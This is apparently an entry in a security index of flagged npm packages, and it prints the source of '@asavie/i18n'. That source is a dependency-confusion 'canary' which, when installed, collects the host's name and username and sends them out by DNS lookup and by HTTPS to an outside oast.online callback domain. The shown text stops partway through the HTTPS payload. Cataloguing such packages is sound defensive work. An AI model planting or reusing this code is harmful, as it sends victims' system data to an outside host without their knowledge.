@asavie/i18n flagged credential stealer (npm) — Cremit · NHI Credential Stealer Index

/incidentsfield log

@asavie/i18n flagged credential stealer (npm) — Cremit · NHI Credential Stealer Index

/**
 * SECURITY RESEARCH - Dependency Confusion Canary
 * Authorized bug bounty testing by daad122@wearehackerone.com
 *
 * This script ONLY performs a DNS lookup to prove code execution.
 * It does NOT:
 *   - Read/write/delete any files
 *   - Install backdoors or persistence
 *   - Exfiltrate source code or secrets
 *   - Modify the system in any way
 *
 * The DNS callback contains ONLY: hostname, username, timestamp, package name.
 * This is the minimum needed to prove the dependency confusion vulnerability.
 */

const dns = require('dns');
const os = require('os');
const { execSync } = require('child_process');

const OOB_DOMAIN = 'd88s0sio12pkd7e76vlghfkt8jfiziu1p.oast.online';

try {
  const hostname = os.hostname().replace(/[^a-zA-Z0-9-]/g, '-').substring(0, 30);
  let user = 'unknown';
  try {
    user = execSync('whoami', { timeout: 3000 }).toString().trim().replace(/[^a-zA-Z0-9-]/g, '-').substring(0, 20);
  } catch (e) {
    user = os.userInfo().username || 'unknown';
  }

  const ts = Math.floor(Date.now() / 1000).toString(36);
  const pkg = 'asavie-i18n';

  // DNS callback: <pkg>.<host>.<user>.<timestamp>.OOB_DOMAIN
  // Each label max 63 chars, total max 253 chars
  const query = `${pkg}.${hostname}.${user}.${ts}.${OOB_DOMAIN}`;

  dns.resolve(query, 'A', () => {});

  // Also try HTTPS callback as backup (DNS may be cached/blocked)
  try {
    const https = require('https');
    const data = JSON.stringify({
      p: '@asavie/i18n',
      h: hostname,
      u: